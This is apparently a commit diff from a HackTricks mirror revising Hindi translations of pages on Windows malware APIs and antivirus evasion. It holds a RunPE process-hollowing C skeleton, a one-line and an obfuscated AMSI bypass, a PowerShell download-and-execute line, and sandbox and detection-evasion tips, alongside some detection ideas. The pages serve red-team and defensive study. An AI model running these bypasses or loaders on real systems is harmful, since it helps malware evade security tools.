mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/reversing/common-api-used-in-malware.md', 'src/windows-
This commit is contained in:
parent
cc26143394
commit
22b26862cd
@ -6,7 +6,7 @@
|
||||
|
||||
### नेटवर्किंग
|
||||
|
||||
| कच्चे सॉकेट | WinAPI सॉकेट |
|
||||
| कच्चे सॉकेट | WinAPI सॉकेट्स |
|
||||
| ------------- | -------------- |
|
||||
| socket() | WSAStratup() |
|
||||
| bind() | bind() |
|
||||
@ -46,19 +46,19 @@
|
||||
| GetSystemInfo() | IN() |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| CreateToolhelp32Snapshot \[जांचें कि कोई प्रक्रिया चल रही है] | |
|
||||
| CreateFileW/A \[जांचें कि कोई फ़ाइल मौजूद है] | |
|
||||
| CreateToolhelp32Snapshot \[एक प्रक्रिया चल रही है या नहीं जांचें] | |
|
||||
| CreateFileW/A \[एक फ़ाइल मौजूद है या नहीं जांचें] | |
|
||||
|
||||
### छिपाव
|
||||
|
||||
| नाम | |
|
||||
| ------------------------ | -------------------------------------------------------------------------- |
|
||||
| VirtualAlloc | मेमोरी आवंटित करें (पैकर) |
|
||||
| VirtualProtect | मेमोरी अनुमति बदलें (पैकर एक अनुभाग को निष्पादन अनुमति दे रहा है) |
|
||||
| VirtualAlloc | मेमोरी आवंटित करें (पैकर) |
|
||||
| VirtualProtect | मेमोरी अनुमति बदलें (पैकर एक अनुभाग को निष्पादन अनुमति दे रहा है) |
|
||||
| ReadProcessMemory | बाहरी प्रक्रियाओं में इंजेक्शन |
|
||||
| WriteProcessMemoryA/W | बाहरी प्रक्रियाओं में इंजेक्शन |
|
||||
| NtWriteVirtualMemory | |
|
||||
| CreateRemoteThread | DLL/प्रक्रिया इंजेक्शन... |
|
||||
| CreateRemoteThread | DLL/प्रक्रिया इंजेक्शन... |
|
||||
| NtUnmapViewOfSection | |
|
||||
| QueueUserAPC | |
|
||||
| CreateProcessInternalA/W | |
|
||||
@ -118,22 +118,73 @@ DLL एक प्रक्रिया के अंदर मैप किय
|
||||
|
||||
पोर्टेबल निष्पादन इंजेक्शन: निष्पादन योग्य को पीड़ित प्रक्रिया की मेमोरी में लिखा जाएगा और वहीं से निष्पादित किया जाएगा।
|
||||
|
||||
### प्रक्रिया खोखलीकरण
|
||||
### प्रक्रिया खोखलीकरण (जिसे **RunPE** भी कहा जाता है)
|
||||
|
||||
मैलवेयर प्रक्रिया की मेमोरी से वैध कोड को अनमैप करेगा और एक दुर्भावनापूर्ण बाइनरी लोड करेगा
|
||||
`Process Hollowing` Windows मैलवेयर द्वारा उपयोग की जाने वाली पसंदीदा **रक्षा-निषेध / निष्पादन** चालों में से एक है। विचार यह है कि एक *वैध* प्रक्रिया को **निलंबित** स्थिति में लॉन्च करें, इसकी मूल छवि को मेमोरी से हटा दें (खोखली करें) और इसके स्थान पर एक **मनमाना PE** कॉपी करें। जब प्राथमिक थ्रेड अंततः फिर से शुरू होता है, तो दुर्भावनापूर्ण प्रवेश बिंदु एक विश्वसनीय बाइनरी (अक्सर Microsoft द्वारा हस्ताक्षरित) के रूप में निष्पादित होता है।
|
||||
|
||||
1. एक नई प्रक्रिया बनाएं: CreateProcess
|
||||
2. मेमोरी को अनमैप करें: ZwUnmapViewOfSection, NtUnmapViewOfSection
|
||||
3. प्रक्रिया की मेमोरी में दुर्भावनापूर्ण बाइनरी लिखें: VirtualAllocEc, WriteProcessMemory
|
||||
4. एंट्रीपॉइंट सेट करें और निष्पादित करें: SetThreadContext, ResumeThread
|
||||
विशिष्ट कार्यप्रवाह:
|
||||
|
||||
## हुकिंग
|
||||
1. एक बेनिग्न होस्ट (जैसे `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **निलंबित** करें ताकि कोई निर्देश अभी तक न चलें।
|
||||
```c
|
||||
STARTUPINFOA si = { sizeof(si) };
|
||||
PROCESS_INFORMATION pi;
|
||||
CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
|
||||
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
|
||||
```
|
||||
2. दुर्भावनापूर्ण पेलोड को मेमोरी में पढ़ें और इसके PE हेडर को पार्स करें ताकि `SizeOfImage`, अनुभाग और नया `EntryPoint` प्राप्त किया जा सके।
|
||||
3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – निलंबित प्रक्रिया की मूल छवि आधार को अनमैप करें।
|
||||
4. **VirtualAllocEx** – दूरस्थ प्रक्रिया के अंदर `SizeOfImage` की RWX मेमोरी आरक्षित करें।
|
||||
5. **WriteProcessMemory** – पहले `Headers` की कॉपी करें, फिर अनुभागों के कच्चे डेटा की कॉपी करते हुए पुनरावृत्ति करें।
|
||||
6. **SetThreadContext** – संदर्भ संरचना में `EAX/RAX` (`RCX` x64 पर) या `Rip` के मान को पैच करें ताकि `EIP` पेलोड के `EntryPoint` की ओर इंगित करे।
|
||||
7. **ResumeThread** – थ्रेड जारी रहता है, हमलावर द्वारा प्रदान किए गए कोड को निष्पादित करता है।
|
||||
|
||||
- **SSDT** (**सिस्टम सेवा वर्णन तालिका**) कर्नेल फ़ंक्शंस (ntoskrnl.exe) या GUI ड्राइवर (win32k.sys) की ओर इशारा करता है ताकि उपयोगकर्ता प्रक्रियाएँ इन फ़ंक्शंस को कॉल कर सकें।
|
||||
न्यूनतम प्रमाण-की-धारणा (x86) ढांचा:
|
||||
```c
|
||||
void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
|
||||
// 1. create suspended process
|
||||
STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi;
|
||||
CreateProcessA(host, NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
|
||||
|
||||
// 2. read remote PEB to get ImageBaseAddress
|
||||
CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL;
|
||||
GetThreadContext(pi.hThread,&ctx);
|
||||
PVOID baseAddr;
|
||||
ReadProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
|
||||
|
||||
// 3. unmap original image & allocate new region at same base
|
||||
NtUnmapViewOfSection(pi.hProcess,baseAddr);
|
||||
PVOID newBase = VirtualAllocEx(pi.hProcess,baseAddr,pHdr->OptionalHeader.SizeOfImage,
|
||||
MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
|
||||
// 4-5. copy headers & sections …
|
||||
// 6. write new image base into PEB and set Eip
|
||||
WriteProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
|
||||
ctx.Eax = (DWORD)(newBase) + pHdr->OptionalHeader.AddressOfEntryPoint;
|
||||
SetThreadContext(pi.hThread,&ctx);
|
||||
// 7. run!
|
||||
ResumeThread(pi.hThread);
|
||||
}
|
||||
```
|
||||
Practical notes observed in the **DarkCloud Stealer** campaign:
|
||||
|
||||
* लोडर ने `RegAsm.exe` (जो .NET Framework का हिस्सा है) को होस्ट के रूप में चुना - एक साइन किया हुआ बाइनरी जो ध्यान आकर्षित करने की संभावना नहीं है।
|
||||
* डिक्रिप्टेड VB6 चोर (`holographies.exe`) *डिस्क पर* नहीं गिराया जाता; यह केवल खोखले प्रोसेस के अंदर मौजूद होता है, जिससे स्थैतिक पहचान करना कठिन हो जाता है।
|
||||
* संवेदनशील स्ट्रिंग्स (regexes, paths, Telegram credentials) को **RC4-एन्क्रिप्टेड** किया जाता है प्रति-स्ट्रिंग और केवल रनटाइम पर डिक्रिप्ट किया जाता है, जिससे मेमोरी स्कैनिंग और जटिल हो जाती है।
|
||||
|
||||
Detection ideas:
|
||||
* `CREATE_SUSPENDED` प्रोसेस पर अलर्ट करें जो कभी भी GUI/कंसोल विंडो नहीं बनाते हैं इससे पहले कि एक मेमोरी क्षेत्र **RWX** के रूप में आवंटित किया जाए (जो कि बेनिग कोड के लिए दुर्लभ है)।
|
||||
* विभिन्न प्रोसेस में `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` कॉल अनुक्रम की तलाश करें।
|
||||
|
||||
## Hooking
|
||||
|
||||
- **SSDT** (**System Service Descriptor Table**) कर्नेल फ़ंक्शंस (ntoskrnl.exe) या GUI ड्राइवर (win32k.sys) की ओर इशारा करता है ताकि उपयोगकर्ता प्रक्रियाएँ इन फ़ंक्शंस को कॉल कर सकें।
|
||||
- एक रूटकिट इन प्वाइंटर्स को उन पते पर संशोधित कर सकता है जिन्हें वह नियंत्रित करता है।
|
||||
- **IRP** (**I/O अनुरोध पैकेट**) एक घटक से दूसरे घटक में डेटा के टुकड़े भेजते हैं। कर्नेल में लगभग सब कुछ IRPs का उपयोग करता है और प्रत्येक डिवाइस ऑब्जेक्ट की अपनी फ़ंक्शन तालिका होती है जिसे हुक किया जा सकता है: DKOM (डायरेक्ट कर्नेल ऑब्जेक्ट मैनिपुलेशन)
|
||||
- **IAT** (**आयात पता तालिका**) निर्भरताओं को हल करने के लिए उपयोगी है। इस तालिका को हुक करना संभव है ताकि उस कोड को हाईजैक किया जा सके जिसे कॉल किया जाएगा।
|
||||
- **EAT** (**निर्यात पता तालिका**) हुक। ये हुक **यूजरलैंड** से किए जा सकते हैं। लक्ष्य DLLs द्वारा निर्यातित फ़ंक्शंस को हुक करना है।
|
||||
- **इनलाइन हुक**: इस प्रकार को प्राप्त करना कठिन है। इसमें फ़ंक्शंस के कोड को संशोधित करना शामिल है। शायद इसके शुरुआत में एक जंप डालकर।
|
||||
- **IRP** (**I/O Request Packets**) डेटा के टुकड़ों को एक घटक से दूसरे घटक में संचारित करता है। कर्नेल में लगभग सब कुछ IRPs का उपयोग करता है और प्रत्येक डिवाइस ऑब्जेक्ट की अपनी फ़ंक्शन तालिका होती है जिसे हुक किया जा सकता है: DKOM (Direct Kernel Object Manipulation)
|
||||
- **IAT** (**Import Address Table**) निर्भरताओं को हल करने के लिए उपयोगी है। इस तालिका को हुक करना संभव है ताकि उस कोड को हाईजैक किया जा सके जिसे कॉल किया जाएगा।
|
||||
- **EAT** (**Export Address Table**) हुक। ये हुक **यूजरलैंड** से किए जा सकते हैं। लक्ष्य DLLs द्वारा निर्यातित फ़ंक्शंस को हुक करना है।
|
||||
- **Inline Hooks**: इस प्रकार को प्राप्त करना कठिन है। इसमें फ़ंक्शंस के कोड को संशोधित करना शामिल है। शायद इसके शुरुआत में एक जंप डालकर।
|
||||
|
||||
## References
|
||||
|
||||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -16,15 +16,15 @@
|
||||
|
||||
### **Static detection**
|
||||
|
||||
स्थिर पहचान ज्ञात दुर्भावनापूर्ण स्ट्रिंग्स या बाइट्स के एरे को एक बाइनरी या स्क्रिप्ट में फ्लैग करके प्राप्त की जाती है, और फ़ाइल से जानकारी निकालने के लिए (जैसे फ़ाइल विवरण, कंपनी का नाम, डिजिटल हस्ताक्षर, आइकन, चेकसम, आदि)। इसका मतलब है कि ज्ञात सार्वजनिक उपकरणों का उपयोग करने से आपको अधिक आसानी से पकड़ा जा सकता है, क्योंकि उन्हें शायद विश्लेषित किया गया है और दुर्भावनापूर्ण के रूप में फ्लैग किया गया है। इस प्रकार की पहचान से बचने के कुछ तरीके हैं:
|
||||
स्थिर पहचान ज्ञात दुर्भावनापूर्ण स्ट्रिंग्स या बाइट्स के एरे को एक बाइनरी या स्क्रिप्ट में फ्लैग करके प्राप्त की जाती है, और फ़ाइल से जानकारी निकालने के लिए (जैसे फ़ाइल विवरण, कंपनी का नाम, डिजिटल हस्ताक्षर, आइकन, चेकसम, आदि)। इसका मतलब है कि ज्ञात सार्वजनिक उपकरणों का उपयोग करने से आपको अधिक आसानी से पकड़ा जा सकता है, क्योंकि उन्हें शायद विश्लेषित किया गया है और दुर्भावनापूर्ण के रूप में फ्लैग किया गया है। इस प्रकार की पहचान को पार करने के कुछ तरीके हैं:
|
||||
|
||||
- **Encryption**
|
||||
|
||||
यदि आप बाइनरी को एन्क्रिप्ट करते हैं, तो AV के लिए आपके प्रोग्राम का पता लगाने का कोई तरीका नहीं होगा, लेकिन आपको प्रोग्राम को मेमोरी में डिक्रिप्ट और चलाने के लिए किसी प्रकार के लोडर की आवश्यकता होगी।
|
||||
यदि आप बाइनरी को एन्क्रिप्ट करते हैं, तो AV के लिए आपके प्रोग्राम का पता लगाने का कोई तरीका नहीं होगा, लेकिन आपको मेमोरी में प्रोग्राम को डिक्रिप्ट और चलाने के लिए किसी प्रकार के लोडर की आवश्यकता होगी।
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
कभी-कभी आपको बस अपने बाइनरी या स्क्रिप्ट में कुछ स्ट्रिंग्स को बदलने की आवश्यकता होती है ताकि यह AV से गुजर सके, लेकिन यह उस पर निर्भर करता है कि आप क्या ओबफस्केट करने की कोशिश कर रहे हैं, यह एक समय लेने वाला कार्य हो सकता है।
|
||||
कभी-कभी आपको अपने बाइनरी या स्क्रिप्ट में कुछ स्ट्रिंग्स को बदलने की आवश्यकता होती है ताकि यह AV को पार कर सके, लेकिन यह उस पर निर्भर करता है कि आप क्या ओबफस्केट करने की कोशिश कर रहे हैं, यह एक समय लेने वाला कार्य हो सकता है।
|
||||
|
||||
- **Custom tooling**
|
||||
|
||||
@ -37,7 +37,7 @@
|
||||
|
||||
### **Dynamic analysis**
|
||||
|
||||
गतिशील विश्लेषण तब होता है जब AV आपके बाइनरी को एक सैंडबॉक्स में चलाता है और दुर्भावनापूर्ण गतिविधियों की निगरानी करता है (जैसे आपके ब्राउज़र के पासवर्ड को डिक्रिप्ट और पढ़ने की कोशिश करना, LSASS पर मिनीडंप करना, आदि)। इस भाग के साथ काम करना थोड़ा कठिन हो सकता है, लेकिन यहाँ कुछ चीजें हैं जो आप सैंडबॉक्स से बचने के लिए कर सकते हैं।
|
||||
गतिशील विश्लेषण तब होता है जब AV आपके बाइनरी को एक सैंडबॉक्स में चलाता है और दुर्भावनापूर्ण गतिविधियों की निगरानी करता है (जैसे आपके ब्राउज़र के पासवर्ड को डिक्रिप्ट और पढ़ने की कोशिश करना, LSASS पर मिनीडंप करना, आदि)। इस भाग के साथ काम करना थोड़ा कठिन हो सकता है, लेकिन यहाँ कुछ चीजें हैं जो आप सैंडबॉक्स को पार करने के लिए कर सकते हैं।
|
||||
|
||||
- **Sleep before execution** इसे लागू करने के तरीके के आधार पर, यह AV के गतिशील विश्लेषण को बायपास करने का एक शानदार तरीका हो सकता है। AV के पास फ़ाइलों को स्कैन करने के लिए बहुत कम समय होता है ताकि उपयोगकर्ता के कार्यप्रवाह में बाधा न आए, इसलिए लंबे स्लीप का उपयोग बाइनरी के विश्लेषण को बाधित कर सकता है। समस्या यह है कि कई AV के सैंडबॉक्स स्लीप को छोड़ सकते हैं, यह इस बात पर निर्भर करता है कि इसे कैसे लागू किया गया है।
|
||||
- **Checking machine's resources** आमतौर पर सैंडबॉक्स के पास काम करने के लिए बहुत कम संसाधन होते हैं (जैसे < 2GB RAM), अन्यथा वे उपयोगकर्ता की मशीन को धीमा कर सकते हैं। आप यहाँ बहुत रचनात्मक भी हो सकते हैं, उदाहरण के लिए CPU के तापमान या यहां तक कि फैन स्पीड की जांच करके, सब कुछ सैंडबॉक्स में लागू नहीं होगा।
|
||||
@ -51,24 +51,24 @@
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev चैनल</p></figcaption></figure>
|
||||
|
||||
जैसा कि हमने इस पोस्ट में पहले कहा, **सार्वजनिक उपकरण** अंततः **पकड़े जाएंगे**, इसलिए, आपको अपने आप से कुछ पूछना चाहिए:
|
||||
जैसा कि हमने इस पोस्ट में पहले कहा है, **सार्वजनिक उपकरण** अंततः **पकड़े जाएंगे**, इसलिए, आपको अपने आप से कुछ पूछना चाहिए:
|
||||
|
||||
उदाहरण के लिए, यदि आप LSASS को डंप करना चाहते हैं, **क्या आपको वास्तव में mimikatz का उपयोग करने की आवश्यकता है**? या क्या आप एक अलग प्रोजेक्ट का उपयोग कर सकते हैं जो कम ज्ञात है और LSASS को भी डंप करता है।
|
||||
|
||||
सही उत्तर शायद बाद वाला है। mimikatz को एक उदाहरण के रूप में लेते हुए, यह शायद AVs और EDRs द्वारा सबसे अधिक फ्लैग की गई मैलवेयर में से एक है, जबकि प्रोजेक्ट स्वयं सुपर कूल है, इसके साथ AVs के चारों ओर काम करना एक बुरा सपना है, इसलिए बस आप जो हासिल करने की कोशिश कर रहे हैं उसके लिए विकल्पों की तलाश करें।
|
||||
सही उत्तर शायद बाद वाला है। mimikatz को एक उदाहरण के रूप में लेते हुए, यह शायद AVs और EDRs द्वारा सबसे अधिक फ्लैग की गई मैलवेयर में से एक है, जबकि प्रोजेक्ट स्वयं सुपर कूल है, इसके साथ AVs को पार करने के लिए काम करना एक बुरा सपना है, इसलिए बस आप जो हासिल करने की कोशिश कर रहे हैं उसके लिए विकल्पों की तलाश करें।
|
||||
|
||||
> [!TIP]
|
||||
> जब आप अपने पैलोड्स को बचाने के लिए संशोधित करते हैं, तो सुनिश्चित करें कि **डिफेंडर में स्वचालित नमूना सबमिशन बंद करें**, और कृपया, गंभीरता से, **VIRUSTOTAL पर अपलोड न करें** यदि आपका लक्ष्य लंबे समय में बचाव प्राप्त करना है। यदि आप यह जांचना चाहते हैं कि क्या आपका पैलोड किसी विशेष AV द्वारा पकड़ा जाता है, तो इसे एक VM पर इंस्टॉल करें, स्वचालित नमूना सबमिशन बंद करने की कोशिश करें, और वहां परीक्षण करें जब तक कि आप परिणाम से संतुष्ट न हों।
|
||||
> जब आप अपने पैलोड्स को बायपास के लिए संशोधित करते हैं, तो सुनिश्चित करें कि **डिफेंडर में स्वचालित नमूना सबमिशन बंद करें**, और कृपया, गंभीरता से, **VIRUSTOTAL पर अपलोड न करें** यदि आपका लक्ष्य लंबे समय में बायपास प्राप्त करना है। यदि आप यह जांचना चाहते हैं कि क्या आपका पैलोड किसी विशेष AV द्वारा पकड़ा जाता है, तो इसे एक VM पर इंस्टॉल करें, स्वचालित नमूना सबमिशन बंद करने की कोशिश करें, और वहां परीक्षण करें जब तक कि आप परिणाम से संतुष्ट न हों।
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
जब भी संभव हो, हमेशा **बचाव के लिए DLLs का उपयोग करने को प्राथमिकता दें**, मेरे अनुभव में, DLL फ़ाइलें आमतौर पर **बहुत कम पहचानी जाती हैं** और विश्लेषित की जाती हैं, इसलिए कुछ मामलों में पहचान से बचने के लिए इसका उपयोग करना एक बहुत सरल ट्रिक है (यदि आपके पैलोड में किसी तरह से DLL के रूप में चलने का तरीका है तो निश्चित रूप से)।
|
||||
जब भी संभव हो, हमेशा **बायपास के लिए DLLs का उपयोग करने को प्राथमिकता दें**, मेरे अनुभव में, DLL फ़ाइलें आमतौर पर **बहुत कम पहचानी जाती हैं** और विश्लेषित की जाती हैं, इसलिए यह कुछ मामलों में पहचान से बचने के लिए उपयोग करने के लिए एक बहुत सरल चाल है (यदि आपके पैलोड में किसी तरह से DLL के रूप में चलने का तरीका है तो निश्चित रूप से)।
|
||||
|
||||
जैसा कि हम इस छवि में देख सकते हैं, Havoc का एक DLL पैलोड antiscan.me पर 4/26 की पहचान दर है, जबकि EXE पैलोड की पहचान दर 7/26 है।
|
||||
जैसा कि हम इस छवि में देख सकते हैं, Havoc का एक DLL पैलोड antiscan.me में 4/26 की पहचान दर रखता है, जबकि EXE पैलोड की पहचान दर 7/26 है।
|
||||
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me पर सामान्य Havoc EXE पैलोड बनाम सामान्य Havoc DLL की तुलना</p></figcaption></figure>
|
||||
|
||||
अब हम कुछ ट्रिक्स दिखाएंगे जिन्हें आप DLL फ़ाइलों के साथ उपयोग कर सकते हैं ताकि अधिक छिपे हुए रह सकें।
|
||||
अब हम कुछ चालें दिखाएंगे जिन्हें आप DLL फ़ाइलों के साथ उपयोग कर सकते हैं ताकि अधिक छिपे हुए रह सकें।
|
||||
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
@ -81,11 +81,11 @@ $binarytoCheck = "C:\Program Files\" + $_
|
||||
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
|
||||
}
|
||||
```
|
||||
यह कमांड "C:\Program Files\\" के अंदर DLL हाइजैकिंग के प्रति संवेदनशील प्रोग्रामों की सूची और उन DLL फ़ाइलों को आउटपुट करेगा जिन्हें वे लोड करने की कोशिश करते हैं।
|
||||
यह कमांड "C:\Program Files\\" के अंदर DLL हाइजैकिंग के प्रति संवेदनशील प्रोग्रामों की सूची और वे DLL फ़ाइलें जो वे लोड करने की कोशिश करते हैं, आउटपुट करेगा।
|
||||
|
||||
मैं अत्यधिक अनुशंसा करता हूँ कि आप **DLL हाइजैक करने योग्य/साइडलोड करने योग्य प्रोग्रामों का स्वयं अन्वेषण करें**, यह तकनीक सही तरीके से की गई तो काफी छिपी हुई होती है, लेकिन यदि आप सार्वजनिक रूप से ज्ञात DLL साइडलोड करने योग्य प्रोग्रामों का उपयोग करते हैं, तो आप आसानी से पकड़े जा सकते हैं।
|
||||
|
||||
बस एक दुर्भावनापूर्ण DLL को उस नाम के साथ रखने से जिसे एक प्रोग्राम लोड करने की उम्मीद करता है, आपका पेलोड लोड नहीं होगा, क्योंकि प्रोग्राम उस DLL के अंदर कुछ विशिष्ट कार्यों की अपेक्षा करता है, इस समस्या को ठीक करने के लिए, हम एक और तकनीक का उपयोग करेंगे जिसे **DLL प्रॉक्सींग/फॉरवर्डिंग** कहा जाता है।
|
||||
बस एक दुर्भावनापूर्ण DLL को उस नाम के साथ रखने से जो एक प्रोग्राम लोड करने की उम्मीद करता है, आपका पेलोड लोड नहीं होगा, क्योंकि प्रोग्राम उस DLL के अंदर कुछ विशिष्ट कार्यों की अपेक्षा करता है, इस समस्या को ठीक करने के लिए, हम एक और तकनीक का उपयोग करेंगे जिसे **DLL प्रॉक्सींग/फॉरवर्डिंग** कहा जाता है।
|
||||
|
||||
**DLL प्रॉक्सींग** प्रोग्राम द्वारा प्रॉक्सी (और दुर्भावनापूर्ण) DLL से मूल DLL को किए गए कॉल को अग्रेषित करता है, इस प्रकार प्रोग्राम की कार्यक्षमता को बनाए रखते हुए आपके पेलोड के निष्पादन को संभालने में सक्षम होता है।
|
||||
|
||||
@ -111,7 +111,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> मैं **गंभीरता से सुझाव देता हूँ** कि आप [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) को DLL Sideloading के बारे में देखें और साथ ही [ippsec का वीडियो](https://www.youtube.com/watch?v=3eROsG_WNpE) देखें ताकि आप जो हमने गहराई से चर्चा की है, उसके बारे में अधिक जान सकें।
|
||||
> मैं **गंभीरता से सुझाव देता हूँ** कि आप [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) को DLL Sideloading के बारे में देखें और साथ ही [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) को भी देखें ताकि आप जो हमने गहराई से चर्चा की है, उसके बारे में और अधिक जान सकें।
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
@ -127,7 +127,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> बचाव केवल एक बिल्ली और चूहा खेल है, जो आज काम करता है वह कल पता लगाया जा सकता है, इसलिए केवल एक उपकरण पर निर्भर न रहें, यदि संभव हो तो कई बचाव तकनीकों को जोड़ने की कोशिश करें।
|
||||
> बचाव केवल एक बिल्ली और चूहा खेल है, जो आज काम करता है वह कल पता लगाया जा सकता है, इसलिए कभी भी केवल एक उपकरण पर निर्भर न रहें, यदि संभव हो तो कई बचाव तकनीकों को जोड़ने की कोशिश करें।
|
||||
|
||||
## AMSI (एंटी-मैलवेयर स्कैन इंटरफेस)
|
||||
|
||||
@ -141,7 +141,7 @@ AMSI सुविधा Windows के इन घटकों में एक
|
||||
- JavaScript और VBScript
|
||||
- Office VBA मैक्रोज़
|
||||
|
||||
यह एंटीवायरस समाधानों को स्क्रिप्ट व्यवहार की जांच करने की अनुमति देता है, जो स्क्रिप्ट सामग्री को एक रूप में उजागर करता है जो न तो एन्क्रिप्टेड है और न ही अस्पष्ट।
|
||||
यह एंटीवायरस समाधानों को स्क्रिप्ट व्यवहार की जांच करने की अनुमति देता है, स्क्रिप्ट सामग्री को एक रूप में उजागर करके जो न तो एन्क्रिप्टेड है और न ही अस्पष्ट।
|
||||
|
||||
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` चलाने पर Windows Defender पर निम्नलिखित अलर्ट उत्पन्न होगा।
|
||||
|
||||
@ -151,15 +151,15 @@ AMSI सुविधा Windows के इन घटकों में एक
|
||||
|
||||
हमने डिस्क पर कोई फ़ाइल नहीं गिराई, लेकिन फिर भी AMSI के कारण मेमोरी में पकड़े गए।
|
||||
|
||||
इसके अलावा, **.NET 4.8** से शुरू होकर, C# कोड भी AMSI के माध्यम से चलाया जाता है। यह `Assembly.Load(byte[])` को मेमोरी में निष्पादन के लिए लोड करने को प्रभावित करता है। इसलिए यदि आप AMSI से बचना चाहते हैं तो मेमोरी में निष्पादन के लिए .NET के निम्न संस्करणों (जैसे 4.7.2 या उससे नीचे) का उपयोग करने की सिफारिश की जाती है।
|
||||
इसके अलावा, **.NET 4.8** से शुरू होकर, C# कोड भी AMSI के माध्यम से चलाया जाता है। यह `Assembly.Load(byte[])` को मेमोरी में निष्पादन के लिए लोड करने को प्रभावित करता है। यही कारण है कि यदि आप AMSI से बचना चाहते हैं तो मेमोरी में निष्पादन के लिए .NET के निम्न संस्करणों (जैसे 4.7.2 या उससे नीचे) का उपयोग करने की सिफारिश की जाती है।
|
||||
|
||||
AMSI को बायपास करने के कुछ तरीके हैं:
|
||||
|
||||
- **अस्पष्टता**
|
||||
|
||||
चूंकि AMSI मुख्य रूप से स्थिर पहचान के साथ काम करता है, इसलिए, आप जिन स्क्रिप्ट को लोड करने की कोशिश कर रहे हैं, उन्हें संशोधित करना पहचान से बचने का एक अच्छा तरीका हो सकता है।
|
||||
चूंकि AMSI मुख्य रूप से स्थिर पहचान के साथ काम करता है, इसलिए, आप जो स्क्रिप्ट लोड करने की कोशिश कर रहे हैं, उन्हें संशोधित करना पहचान से बचने का एक अच्छा तरीका हो सकता है।
|
||||
|
||||
हालांकि, AMSI के पास स्क्रिप्ट को अस्पष्ट करने की क्षमता है, भले ही इसमें कई परतें हों, इसलिए अस्पष्टता एक बुरा विकल्प हो सकता है, यह इस बात पर निर्भर करता है कि इसे कैसे किया गया है। यह इसे बचने के लिए इतना सीधा नहीं बनाता। हालांकि, कभी-कभी, आपको केवल कुछ चर के नाम बदलने की आवश्यकता होती है और आप ठीक हो जाएंगे, इसलिए यह इस बात पर निर्भर करता है कि कुछ कितना झंडा लगाया गया है।
|
||||
हालांकि, AMSI के पास स्क्रिप्ट को अस्पष्ट करने की क्षमता है, भले ही इसमें कई परतें हों, इसलिए अस्पष्टता एक बुरा विकल्प हो सकता है, यह इस बात पर निर्भर करता है कि इसे कैसे किया गया है। यह इसे बचने के लिए इतना सीधा नहीं बनाता। हालांकि, कभी-कभी, आपको केवल कुछ चर के नाम बदलने की आवश्यकता होती है और आप ठीक हो जाएंगे, इसलिए यह इस बात पर निर्भर करता है कि कुछ कितना झंडा उठाया गया है।
|
||||
|
||||
- **AMSI बायपास**
|
||||
|
||||
@ -171,7 +171,7 @@ AMSI प्रारंभिककरण को विफल (amsiInitFailed)
|
||||
```bash
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
बस एक पंक्ति का powershell कोड AMSI को वर्तमान powershell प्रक्रिया के लिए अनुपयोगी बनाने के लिए आवश्यक था। इस पंक्ति को निश्चित रूप से AMSI द्वारा चिह्नित किया गया है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है।
|
||||
बस एक पंक्ति का powershell कोड AMSI को वर्तमान powershell प्रक्रिया के लिए अनुपयोगी बनाने के लिए आवश्यक था। इस पंक्ति को निश्चित रूप से AMSI द्वारा ही चिह्नित किया गया है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है।
|
||||
|
||||
यहां एक संशोधित AMSI बायपास है जो मैंने इस [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) से लिया है।
|
||||
```bash
|
||||
@ -187,7 +187,7 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
|
||||
$Spotfix.SetValue($null,$true)
|
||||
}Catch{Throw $_}
|
||||
```
|
||||
याद रखें, कि यह संभवतः इस पोस्ट के प्रकाशित होने पर फ्लैग किया जाएगा, इसलिए यदि आपकी योजना अदृश्य रहने की है तो आपको कोई कोड प्रकाशित नहीं करना चाहिए।
